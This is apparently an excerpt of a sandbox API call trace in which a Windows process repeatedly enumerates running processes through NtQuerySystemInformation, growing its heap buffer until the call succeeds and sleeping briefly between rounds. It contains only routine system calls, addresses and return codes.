	[0065.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.497] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1d414) returned 0x2892160
	[0065.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.498] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1e438) returned 0x2892160
	[0065.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.498] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1f45c) returned 0x2892160
	[0065.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.499] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x20480) returned 0x2892160
	[0065.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.499] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x214a4) returned 0x2892160
	[0065.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.499] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x224c8) returned 0x2892160
	[0065.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.500] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x234ec) returned 0x2892160
	[0065.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.500] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x24510) returned 0x2892160
	[0065.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0x0
	[0065.501] Sleep (dwMilliseconds=0x64) 
	[0065.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28898b8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28898b8, ResultLength=0x0) returned 0xc0000004
	[0065.774] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28898b8, Size=0x2048) returned 0x2894bd8
	[0065.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.775] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x306c) returned 0x2894bd8
	[0065.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.775] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0065.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.776] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x2894bd8
	[0065.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.776] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x60d8) returned 0x2894bd8
	[0065.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.776] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x70fc) returned 0x2894bd8
	[0065.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.777] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x8120) returned 0x2894bd8
	[0065.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.778] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x9144) returned 0x2894bd8
	[0065.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.778] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0xa168) returned 0x2894bd8
	[0065.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.778] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0xb18c) returned 0x2894bd8
	[0065.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.779] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0xc1b0) returned 0x2894bd8
	[0065.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.779] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0xd1d4) returned 0x2894bd8
	[0065.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.780] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0xe1f8) returned 0x2894bd8
	[0065.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.780] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0xf21c) returned 0x2894bd8
	[0065.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.780] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x10240) returned 0x2894bd8
	[0065.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.781] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x11264) returned 0x2894bd8
	[0065.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.781] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x12288) returned 0x2894bd8
	[0065.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.782] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x132ac) returned 0x2894bd8
	[0065.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.782] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x142d0) returned 0x2894bd8
	[0065.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x152f4) returned 0x2894bd8
	[0065.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x16318) returned 0x2894bd8
	[0065.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.784] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1733c) returned 0x2894bd8
	[0065.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.784] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x18360) returned 0x2894bd8
	[0065.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x19384) returned 0x2894bd8
	[0065.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1a3a8) returned 0x2894bd8
	[0065.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.786] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1b3cc) returned 0x2894bd8
	[0065.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.786] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1c3f0) returned 0x2894bd8
	[0065.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.787] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1d414) returned 0x2894bd8
	[0065.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.787] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1e438) returned 0x2894bd8
	[0065.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.788] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1f45c) returned 0x2894bd8
	[0065.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.788] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x20480) returned 0x2894bd8
	[0065.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.789] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x214a4) returned 0x2894bd8
	[0065.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.789] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x224c8) returned 0x2894bd8
	[0065.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.790] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x234ec) returned 0x2894bd8
	[0065.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0065.791] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x24510) returned 0x2894bd8
	[0065.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0x0
	[0065.800] Sleep (dwMilliseconds=0x64) 
	[0066.029] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0066.030] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28baec0
	[0066.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.030] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x306c) returned 0x28baec0
	[0066.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.031] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x4090) returned 0x28baec0
	[0066.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.031] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x50b4) returned 0x28baec0
	[0066.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.031] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x60d8) returned 0x28baec0
	[0066.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.031] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x70fc) returned 0x28baec0
	[0066.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.033] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x8120) returned 0x28baec0
	[0066.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.033] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x9144) returned 0x28baec0
	[0066.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.033] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0xa168) returned 0x28baec0
	[0066.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.034] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0xb18c) returned 0x28baec0
	[0066.034] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.034] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0xc1b0) returned 0x28baec0
	[0066.034] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.034] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0xd1d4) returned 0x28baec0
	[0066.035] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.035] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0xe1f8) returned 0x28baec0
	[0066.035] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.035] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0xf21c) returned 0x28baec0
	[0066.035] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.036] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x10240) returned 0x28baec0
	[0066.036] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.036] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x11264) returned 0x28baec0
	[0066.036] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.037] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x12288) returned 0x28baec0
	[0066.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.037] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x132ac) returned 0x28baec0
	[0066.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.037] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x142d0) returned 0x28baec0
	[0066.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.038] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x152f4) returned 0x28baec0
	[0066.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.038] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x16318) returned 0x28baec0
	[0066.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.039] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x1733c) returned 0x28baec0
	[0066.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.039] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x18360) returned 0x28baec0
	[0066.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.040] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x19384) returned 0x28baec0
	[0066.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.040] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x1a3a8) returned 0x28baec0
	[0066.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.041] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x1b3cc) returned 0x28baec0
	[0066.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.041] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x1c3f0) returned 0x28baec0
	[0066.041] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.042] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x1d414) returned 0x28baec0
	[0066.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.043] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x1e438) returned 0x28baec0
	[0066.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.043] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x1f45c) returned 0x28baec0
	[0066.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28baec0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28baec0, ResultLength=0x0) returned 0xc0000004
	[0066.044] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28baec0, Size=0x20480) returned 0x2894bd8
	[0066.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.044] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x214a4) returned 0x2894bd8
	[0066.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.045] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x224c8) returned 0x2894bd8
	[0066.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.045] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x234ec) returned 0x2894bd8
	[0066.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.046] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x24510) returned 0x2894bd8
	[0066.046] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0x0
	[0066.046] Sleep (dwMilliseconds=0x64) 
	[0066.202] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28865a0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28865a0, ResultLength=0x0) returned 0xc0000004
	[0066.203] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28865a0, Size=0x2048) returned 0x28bc9e8
	[0066.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.203] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x306c) returned 0x28bc9e8
	[0066.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.204] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x4090) returned 0x28bc9e8
	[0066.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.204] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x50b4) returned 0x28bc9e8
	[0066.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.204] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x60d8) returned 0x28bc9e8
	[0066.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.204] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x70fc) returned 0x28bc9e8
